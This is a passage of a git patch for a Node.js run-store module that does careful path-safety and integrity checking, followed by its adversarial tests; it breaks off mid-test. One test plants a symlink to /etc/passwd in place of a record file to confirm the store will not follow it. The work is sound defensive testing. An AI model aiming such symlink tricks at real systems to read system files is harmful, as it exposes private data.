${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + return { record, canonical, bytes }; +} + +function assertMatchingIdentities(input) { + const identity = validateRunIdentityV1(input.identity, 'identity'); + const git = validateGitIdentityV1(input.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + const provenance = validateDispatchProvenanceV1(input.provenance); + const telemetry = validateDispatchTelemetryV1(input.telemetry); + if (identity.run_id !== input.run_id || provenance.run.run_id !== input.run_id) { + failStore('run_identity_mismatch', 'run_id', + 'Run store records must bind one run identity.'); + } + if (identity.digest !== provenance.run.digest) { + failStore('run_identity_mismatch', 'identity', + 'Run identity does not match the stored provenance run.'); + } + if (git.digest !== provenance.git.digest || git.digest !== identity.git.digest) { + failStore('run_identity_mismatch', 'git', + 'Git identity does not match the immutable repository/base authority.'); + } + if (provenance.provider_run.request_idempotency_key !== input.request_idempotency_key) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency key does not match the protected provider-run key.'); + } + const projected = projectDispatchTelemetryV1(provenance); + const projectedCanonical = canonicalJsonStringify(projected); + const telemetryCanonical = canonicalJsonStringify(telemetry); + if (projectedCanonical !== telemetryCanonical) { + failStore('run_identity_mismatch', 'telemetry', + 'Telemetry must be the content-free projection of the stored provenance.'); + } + return { identity, git, provenance, telemetry }; +} + +function parseSubmitInput(input) { + if (input === undefined || input === null) { + failStore('invalid_type', 'record', 'Run store submission must be a plain JSON data object.'); + } + assertDirectJsonClosure(input, 'record'); + const fields = closedObject(input, 'record', RUN_STORE_INPUT_KEYS); + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.request_idempotency_key, 'request_idempotency_key'); + const bound = assertMatchingIdentities(fields); + return bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); +} + +function assertNoDuplicateJsonKeys(text, field) { + if (typeof text !== 'string') { + failStore('run_store_malformed_record', field, 'Run store records must be UTF-8 JSON text.'); + } + const scopes = [{ object: false, keys: new Set() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failStore('run_store_malformed_record', field, 'Run store JSON key is invalid.'); + } + if (scope.keys.has(key)) { + failStore('run_store_duplicate_entry', field, + 'Run store JSON objects must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new Set() }); + if (scopes.length > 40) { + failStore('run_store_malformed_record', field, 'Run store JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + if (scopes.length <= 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is unbalanced.'); + } + scopes.pop(); + } + } + if (inString || scopes.length !== 1) { + failStore('run_store_malformed_record', field, 'Run store JSON is incomplete.'); + } +} + +function decodeUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failStore('run_store_malformed_record', field, 'Run store records must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failStore('run_store_malformed_record', field, 'Run store records must be valid UTF-8.'); + } +} + +function parseStoredRecord(bytes, field) { + if (!NodeBuffer.isBuffer(bytes) || bytes.byteLength === 0) { + failStore('run_store_malformed_record', field, 'Run store record is truncated.'); + } + if (bytes.byteLength > MAX_RUN_STORE_RECORD_BYTES) { + failStore('run_store_record_too_large', field, + `Run store records must not exceed ${MAX_RUN_STORE_RECORD_BYTES} bytes.`); + } + const text = decodeUtf8(bytes, field); + assertNoDuplicateJsonKeys(text, field); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failStore('run_store_malformed_record', field, 'Run store record is not valid JSON.'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) { + failStore('run_store_malformed_record', field, 'Run store record must be a JSON object.'); + } + assertDirectJsonClosure(parsed, field); + const fields = closedObject(parsed, field, RUN_STORE_RECORD_KEYS); + if (fields.schema !== RUN_STORE_RECORD_SCHEMA_ID) { + failStore('run_store_malformed_record', `${field}.schema`, + `Run store schema must be exactly "${RUN_STORE_RECORD_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, `${field}.run_id`); + assertBoundDigest(fields.request_idempotency_key, `${field}.request_idempotency_key`); + if (!capturedTest(SHA256_DIGEST_PATTERN, fields.canonical_digest)) { + failStore('invalid_format', `${field}.canonical_digest`, + 'Run store canonical digest must be a sha256 digest.'); + } + const bound = assertMatchingIdentities(fields); + const rebuilt = bindRecord({ + schema: RUN_STORE_RECORD_SCHEMA_ID, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity: bound.identity, + git: bound.git, + provenance: bound.provenance, + telemetry: bound.telemetry, + }); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failStore('run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed P06-bound record.'); + } + return rebuilt; +} + +async function openChildFile(rootPath, name, flags, field) { + const target = childPath(rootPath, name); + try { + return await open(target, flags, 0o600); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + if (error?.code === 'EEXIST') return undefined; + mapErrno(error, field, 'run_store_unreadable', 'The run store file could not be opened safely.'); + } +} + +async function readExactFile(rootPath, name, maxBytes, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return null; + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + const size = Number(stat.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failStore('run_store_record_too_large', field, 'Run store file exceeds the bounded size.'); + } + const after = await handle.stat(); + if (Number(after.ino) !== Number(stat.ino) || Number(after.dev) !== Number(stat.dev) + || Number(after.size) !== Number(stat.size) || Number(after.nlink) !== Number(stat.nlink)) { + failStore('run_store_unreadable', field, 'The run store file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectChild(rootPath, name, field) { + const handle = await openChildFile(rootPath, name, FILE_READ_FLAGS, field); + if (handle === null) return { kind: 'missing' }; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function syncDirectory(rootHandle) { + try { + await rootHandle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failStore('run_store_unreadable', 'root', 'The run store directory could not be synchronized.'); + } +} + +async function writePrivateTemp(root, bytes) { + const name = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const target = childPath(root.path, name); + const handle = await openChildFile(root.path, name, FILE_CREATE_FLAGS, 'temporary'); + if (handle === null || handle === undefined) { + failStore('run_store_unreadable', 'temporary', 'A private temporary file could not be created exclusively.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, 'temporary'); + if (Number(stat.size) !== bytes.byteLength) { + failStore('run_store_unreadable', 'temporary', 'Temporary write was truncated.'); + } + await syncDirectory(root.handle); + return { name, path: target }; + } catch (error) { + await handle.close().catch(() => {}); + await unlink(target).catch(() => {}); + throw error; + } finally { + await handle.close().catch(() => {}); + } +} + +async function unlinkPrivateTemp(rootPath, name) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) return; + const target = childPath(rootPath, name); + try { + const handle = await open(target, FILE_READ_FLAGS); + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.isSymbolicLink()) { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) return; + } finally { + await handle.close().catch(() => {}); + } + await unlink(target); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + if (error?.code === 'ENOENT') return; + if (error?.code === 'ELOOP') { + failStore('run_store_torn_temporary', 'temporary', + 'A leftover temporary path is a symbolic link and was not followed.'); + } + } +} + +async function exclusiveLink(tmpPath, destPath, field) { + try { + await link(tmpPath, destPath); + } catch (error) { + if (error?.code === 'EEXIST') return false; + if (error?.code === 'ELOOP') { + failStore('run_store_not_regular', field, 'Run store files must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_store_unreadable', 'The run store record could not be published exclusively.'); + } + return true; +} + +async function readKeyPointer(rootPath, keyName, field) { + const opened = await readExactFile(rootPath, keyName, MAX_RUN_STORE_KEY_FILE_BYTES, field); + if (opened === null) return null; + const text = decodeUtf8(opened.bytes, field).replace(/\n$/u, ''); + assertRunId(text, field); + return text; +} + +async function enumerateDirectory(root) { + let dir; + try { + dir = await opendir(root.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, 'root', 'run_store_unreadable', 'The run store directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_RUN_STORE_DIRECTORY_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_DIRECTORY_ENTRIES} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, 'root')); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function auditStore(root) { + const before = await root.handle.stat(); + const names = await enumerateDirectory(root); + const after = await root.handle.stat(); + if (!sameIdentity(before, after) || Number(before.mode) !== Number(after.mode)) { + failStore('run_store_root_unsafe', 'root', + 'The run store root changed while it was audited.'); + } + const records = capturedCreate(null); + const keys = capturedCreate(null); + const seenKeys = capturedCreate(null); + let recordCount = 0; + for (const name of names) { + const kind = classifyName(name); + if (kind === 'temp') { + failStore('run_store_torn_temporary', 'temporary', + 'Leftover temporary files are not authoritative and are not followed.'); + } + if (kind === 'foreign') { + failStore('run_store_foreign_entry', 'root', + 'The run store directory contains a foreign or oversized entry.'); + } + const inspection = await inspectChild(root.path, name, kind); + if (inspection.kind !== 'file') { + failStore('run_store_not_regular', kind, 'Run store files must be regular non-symlink files.'); + } + assertRegularUnsharedFile(inspection.stat, kind); + if (kind === 'record') { + recordCount += 1; + if (recordCount > MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + const opened = await readExactFile(root.path, name, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (opened === null) { + failStore('run_store_torn_record', 'record', 'A named run record could not be read.'); + } + const parsed = parseStoredRecord(opened.bytes, 'record'); + const expectedName = recordNameFor(parsed.record.run_id); + if (expectedName !== name) { + failStore('run_store_foreign_entry', 'record', + 'Record filename does not match the bound run id.'); + } + if (capturedHasOwn(records, parsed.record.run_id)) { + failStore('run_store_duplicate_entry', 'run_id', + 'Run store directories must contain one record per run id.'); + } + if (capturedHasOwn(seenKeys, parsed.record.request_idempotency_key)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one record per request idempotency key.'); + } + records[parsed.record.run_id] = parsed.record; + seenKeys[parsed.record.request_idempotency_key] = parsed.record.run_id; + } else { + const runId = await readKeyPointer(root.path, name, 'key'); + const hex = name.slice(2); + const requestKey = `sha256:${hex}`; + if (capturedHasOwn(keys, requestKey)) { + failStore('run_store_duplicate_entry', 'request_idempotency_key', + 'Run store directories must contain one key pointer per request.'); + } + keys[requestKey] = runId; + } + } + const recordIds = sortedCapturedKeys(records); + for (const runId of recordIds) { + const record = records[runId]; + const expectedKeyName = keyNameFor(record.request_idempotency_key); + const pointed = keys[record.request_idempotency_key]; + if (pointed === undefined) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + if (pointed !== runId) { + failStore('run_identity_mismatch', 'request_idempotency_key', + 'Request idempotency pointer does not name the stored run.'); + } + if (!capturedIncludes(names, expectedKeyName)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'Run records require a matching request idempotency pointer.'); + } + } + for (const requestKey of sortedCapturedKeys(keys)) { + if (!capturedHasOwn(seenKeys, requestKey)) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + } + return { records, keys: seenKeys }; +} + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +function conflictFor(existing, candidate) { + if (existing.run_id === candidate.run_id + && existing.request_idempotency_key === candidate.request_idempotency_key + && existing.canonical_digest === candidate.canonical_digest) { + return null; + } + if (existing.request_idempotency_key === candidate.request_idempotency_key) { + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); +} + +function listProjection(record) { + return snapshotRecord({ + run_id: record.run_id, + request_idempotency_key: record.request_idempotency_key, + identity_digest: record.identity.digest, + git_digest: record.git.digest, + canonical_digest: record.canonical_digest, + }); +} + +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await assertRootUnchanged(token); + try { + const inventory = await auditStore(root); + return await fn(root, inventory); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +async function publishRecord(root, prepared) { + const recordName = recordNameFor(prepared.record.run_id); + const keyName = keyNameFor(prepared.record.request_idempotency_key); + const keyBytes = BUFFER_FROM(`${prepared.record.run_id}\n`, 'utf8'); + const recordTmp = await writePrivateTemp(root, prepared.bytes); + let keyTmp; + try { + keyTmp = await writePrivateTemp(root, keyBytes); + const keyPath = childPath(root.path, keyName); + const recordPath = childPath(root.path, recordName); + const linkedKey = await exclusiveLink(keyTmp.path, keyPath, 'request_idempotency_key'); + if (!linkedKey) { + const owner = await readKeyPointer(root.path, keyName, 'request_idempotency_key'); + const existingName = owner ? recordNameFor(owner) : recordName; + const existing = await readExactFile(root.path, existingName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_store_torn_record', 'request_idempotency_key', + 'A request idempotency pointer has no matching run record.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + const linkedRecord = await exclusiveLink(recordTmp.path, recordPath, 'run_id'); + if (!linkedRecord) { + await unlink(keyPath).catch(() => {}); + const existing = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (existing === null) { + failStore('run_identity_conflict', 'run_id', + 'Run id already binds a different body or request idempotency key.'); + } + const parsed = parseStoredRecord(existing.bytes, 'record'); + conflictFor(parsed.record, prepared.record); + return { record: parsed.record, created: false }; + } + await unlinkPrivateTemp(root.path, recordTmp.name); + await unlinkPrivateTemp(root.path, keyTmp.name); + await syncDirectory(root.handle); + const published = await readExactFile(root.path, recordName, MAX_RUN_STORE_RECORD_BYTES, 'record'); + if (published === null) { + failStore('run_store_torn_record', 'record', 'Published run record could not be re-read.'); + } + const parsed = parseStoredRecord(published.bytes, 'record'); + return { record: parsed.record, created: true }; + } finally { + await unlinkPrivateTemp(root.path, recordTmp.name); + if (keyTmp) await unlinkPrivateTemp(root.path, keyTmp.name); + } +} + +export async function openRunStore(rootPath) { + const opened = await openRootHandle(rootPath); + try { + const inventory = await auditStore(opened); + const token = capturedFreeze({ + path: opened.path, + dev: opened.dev, + ino: opened.ino, + }); + freezeData(inventory.records); + freezeData(inventory.keys); + return capturedFreeze({ + root: token.path, + async submit(input) { + const prepared = parseSubmitInput(input); + return operate(token, async (root, current) => { + const existing = current.records[prepared.record.run_id]; + const keyed = current.keys[prepared.record.request_idempotency_key]; + if (existing) { + conflictFor(existing, prepared.record); + return { record: existing, created: false }; + } + if (keyed !== undefined) { + const other = current.records[keyed]; + if (other) conflictFor(other, prepared.record); + failStore('run_idempotency_conflict', 'request_idempotency_key', + 'Request idempotency key already binds a different canonical body.'); + } + if (sortedCapturedKeys(current.records).length >= MAX_RUN_STORE_ENTRIES) { + failStore('run_store_too_many_entries', 'root', + `Run store directories must not exceed ${MAX_RUN_STORE_ENTRIES} records.`); + } + return publishRecord(root, prepared); + }); + }, + async getByRunId(runId) { + assertRunId(runId, 'run_id'); + return operate(token, async (_root, current) => { + const record = current.records[runId]; + if (!record) failStore('run_store_not_found', 'run_id', 'No run record exists for that run id.'); + return record; + }); + }, + async getByIdempotencyKey(requestKey) { + assertBoundDigest(requestKey, 'request_idempotency_key'); + return operate(token, async (_root, current) => { + const runId = current.keys[requestKey]; + if (runId === undefined) { + failStore('run_store_not_found', 'request_idempotency_key', + 'No run record exists for that request idempotency key.'); + } + return current.records[runId]; + }); + }, + async list() { + return operate(token, async (_root, current) => { + const ids = sortedCapturedKeys(current.records); + const entries = ids.map((runId) => listProjection(current.records[runId])); + return capturedFreeze(entries); + }); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +capturedFreeze(openRunStore); +capturedFreeze(parseSubmitInput); +capturedFreeze(parseStoredRecord); From da69ebede1b2d6b3241ed330621fc4d5ee6e1773 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:11:45 +0000 Subject: [PATCH 08/81] test(run): cover hostile replay, restart, and path-safety Add focused and adversarial coverage for idempotent replay, identity and idempotency conflicts, concurrent duplicate submissions, process restart restore, symlink and hardlink refusal, path traversal, malformed truncated oversized and foreign files, torn temps, proxy accessor alias and cycle inputs, and bounded directory floods. --- .../test/fixtures/r1-run-store-fixtures.mjs | 129 +++++++ .../test/r1-run-store-adversarial.test.mjs | 316 ++++++++++++++++++ .../test/r1-run-store.test.mjs | 203 +++++++++++ 3 files changed, 648 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-store.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs new file mode 100644 index 0000000..cb250fa --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-store-fixtures.mjs @@ -0,0 +1,129 @@ +// Neutral builders for durable run-store tests. Tests own the assertions. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + buildChildIdentityV1, + buildDispatchAttemptV1, + buildProviderRunIdentityV1, + buildRunIdentityV1, + buildWorkspaceIdentityV1, +} from '../../mcp/v3/protected-identity.mjs'; +import { + buildDispatchProvenanceV1, + projectDispatchTelemetryV1, +} from '../../mcp/v3/protected-telemetry.mjs'; +import { + ASSIGNMENT_ID, + BRANCH_NAME, + LOCK_ID, + OPENED_AT, + REPOSITORY_PATH, + RUN_ID, + WORKTREE_PATH, + fixtureCapabilityDigest, + fixtureEnvelopeDigest, + fixtureGit, + fixtureLaneDigest, + fixtureManifestDigest, +} from './r1-protected-identity-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + REPOSITORY_PATH, + RUN_ID, + fixtureGit, +}; + +export async function makePrivateRoot(prefix = 'r1-run-store-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeSubmission({ + runId = RUN_ID, + assignmentId = ASSIGNMENT_ID, + attempt = 1, + counters = { dispatch_calls: 0, wake_events: 0, outcome_events: 0 }, + git = fixtureGit(), +} = {}) { + const identity = buildRunIdentityV1({ + run_id: runId, + git, + manifest_digest: fixtureManifestDigest(), + }); + const workspace = buildWorkspaceIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + git, + semantics: 'local_managed_worktree', + starting_point: 'run_base_sha', + worktree_path: WORKTREE_PATH, + branch: BRANCH_NAME, + lock_id: LOCK_ID, + starting_ref: null, + }); + const child = buildChildIdentityV1({ run_id: runId, assignment_id: assignmentId }); + const dispatch = buildDispatchAttemptV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + }); + const providerRun = buildProviderRunIdentityV1({ + run_id: runId, + assignment_id: assignmentId, + attempt, + provider: 'grok', + model: 'grok-4', + git, + manifest_digest: fixtureManifestDigest(), + prompt_envelope_digest: fixtureEnvelopeDigest(), + resolved_lane_digest: fixtureLaneDigest(), + capability_snapshot_digest: fixtureCapabilityDigest(), + agent_id: null, + provider_run_id: null, + }); + const provenance = buildDispatchProvenanceV1({ + revision: 1, + run: identity, + child, + git, + workspace, + dispatch, + provider_run: providerRun, + requested: { provider: 'grok', model: 'grok-4' }, + resolved: { provider: 'grok', model: 'grok-4', role: 'implement' }, + observed: { provider: null, model: null }, + observation: null, + model_mismatch: 'served_model_not_observed', + repository_exposure: 'selected_external_provider_full_repository', + lineage: { + manifest_digest: identity.manifest_digest, + prompt_envelope_digest: providerRun.prompt_envelope_digest, + resolved_lane_digest: providerRun.resolved_lane_digest, + capability_snapshot_digest: providerRun.capability_snapshot_digest, + git_digest: git.digest, + workspace_digest: workspace.digest, + }, + timing: { + opened_at: OPENED_AT, + dispatched_at: null, + settled_at: null, + dispatch_latency_ms: null, + total_duration_ms: null, + }, + counters, + outcome: 'pending', + }); + return { + run_id: runId, + request_idempotency_key: providerRun.request_idempotency_key, + identity, + git, + provenance, + telemetry: projectDispatchTelemetryV1(provenance), + }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs new file mode 100644 index 0000000..e20e5a5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store-adversarial.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { + chmod, + link, + lstat, + mkdir, + open, + readdir, + rm, + symlink, + truncate, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_DIRECTORY_ENTRIES, + MAX_RUN_STORE_ENTRIES, + MAX_RUN_STORE_RECORD_BYTES, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('concurrent duplicate submissions preserve one authoritative record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const results = await Promise.all(Array.from({ length: 8 }, () => store.submit(input))); + const created = results.filter((result) => result.created); + assert.equal(created.length, 1); + const digest = created[0].record.canonical_digest; + for (const result of results) { + assert.equal(result.record.canonical_digest, digest); + } + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + assert.equal(names.filter((name) => name.startsWith('k-')).length, 1); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + }); +}); + +test('concurrent conflicting bodies serialize to one winner and typed conflicts', async () => { + await withStore(async (_root, store) => { + const first = makeSubmission(); + const second = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 4, outcome_events: 0 }, + }); + const results = await Promise.allSettled([ + store.submit(first), + store.submit(second), + store.submit(first), + store.submit(second), + ]); + const fulfilled = results.filter((result) => result.status === 'fulfilled').map((result) => result.value); + const rejected = results.filter((result) => result.status === 'rejected').map((result) => result.reason); + assert.ok(fulfilled.length >= 1); + assert.equal(new Set(fulfilled.map((result) => result.record.canonical_digest)).size, 1); + for (const error of rejected) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(error.code === 'run_idempotency_conflict' || error.code === 'run_identity_conflict'); + } + }); +}); + +test('symlink root, record, and temporary names fail closed without following', async () => { + const parent = await makePrivateRoot('r1-run-store-sym-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'linked'); + await symlink(real, linked); + assert.equal((await errorOf(() => openRunStore(linked))).code, 'run_store_root_unsafe'); + + const store = await openRunStore(real); + await store.submit(makeSubmission()); + await rm(path.join(real, `${RUN_ID}.json`)); + await symlink('/etc/passwd', path.join(real, `${RUN_ID}.json`)); + const error = await errorOf(() => openRunStore(real)); + assert.ok(error.code === 'run_store_not_regular' || error.code === 'run_store_root_unsafe'); + assertNoSecret(error); + + const tempRoot = path.join(parent, 'temps'); + await mkdir(tempRoot, { mode: 0o700 }); + await chmod(tempRoot, 0o700); + const target = path.join(parent, 'secret-target'); + await writeFile(target, 'ATTACKER-SECRET', { mode: 0o600 }); + await symlink(target, path.join(tempRoot, `.tmp-${'ab'.repeat(16)}`)); + const tempError = await errorOf(() => openRunStore(tempRoot)); + assert.equal(tempError.code, 'run_store_torn_temporary'); + assertNoSecret(tempError); + assert.equal((await lstat(target)).isFile(), true); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('hardlinked records and path-traversal names fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const alias = path.join(root, 'k-deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'); + await link(record, alias); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_not_regular'); + }); + + const outside = await makePrivateRoot('r1-run-store-out-'); + try { + assert.equal((await errorOf(() => openRunStore(`${outside}/../${path.basename(outside)}`))).code, + 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${outside}/.`))).code, 'run_store_path_unsafe'); + } finally { + await rm(outside, { recursive: true, force: true }); + } +}); + +test('malformed truncated oversized and foreign files fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await writeFile(record, '{"schema":"codex-co-engineer.run-store-record.v1"'); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_malformed_record'); + }); + + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await truncate(record, 12); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_malformed_record', 'run_store_torn_record'].includes(error.code), error.code); + }); + + const huge = await makePrivateRoot('r1-run-store-huge-'); + try { + await writeFile(path.join(huge, 'notes.txt'), 'foreign', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(huge))).code, 'run_store_foreign_entry'); + } finally { + await rm(huge, { recursive: true, force: true }); + } + + const oversized = await makePrivateRoot('r1-run-store-over-'); + try { + const handle = await open(path.join(oversized, `${RUN_ID}.json`), 'wx', 0o600); + await handle.writeFile(`${'x'.repeat(MAX_RUN_STORE_RECORD_BYTES + 1)}`); + await handle.close(); + const error = await errorOf(() => openRunStore(oversized)); + assert.ok(['run_store_record_too_large', 'run_store_malformed_record', 'run_store_torn_record'] + .includes(error.code), error.code); + } finally { + await rm(oversized, { recursive: true, force: true }); + } +}); + +test('duplicate JSON keys and leftover torn temps are refused', async () => { + await withStore(async (root, store) => { + const created = await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const text = JSON.stringify({ + schema: created.record.schema, + run_id: created.record.run_id, + request_idempotency_key: created.record.request_idempotency_key, + identity: created.record.identity, + git: created.record.git, + provenance: created.record.provenance, + telemetry: created.record.telemetry, + canonical_digest: created.record.canonical_digest, + }).replace('"run_id":', '"run_id":"ATTACKER-SECRET","run_id":'); + await writeFile(record, `${text}\n`, { mode: 0o600 }); + const error = await errorOf(() => openRunStore(root)); + assert.equal(error.code, 'run_store_duplicate_entry'); + assertNoSecret(error); + }); + + const torn = await makePrivateRoot('r1-run-store-torn-'); + try { + await writeFile(path.join(torn, `.tmp-${'cd'.repeat(16)}`), 'partial', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(torn))).code, 'run_store_torn_temporary'); + const names = await readdir(torn); + assert.ok(names.some((name) => name.startsWith('.tmp-'))); + } finally { + await rm(torn, { recursive: 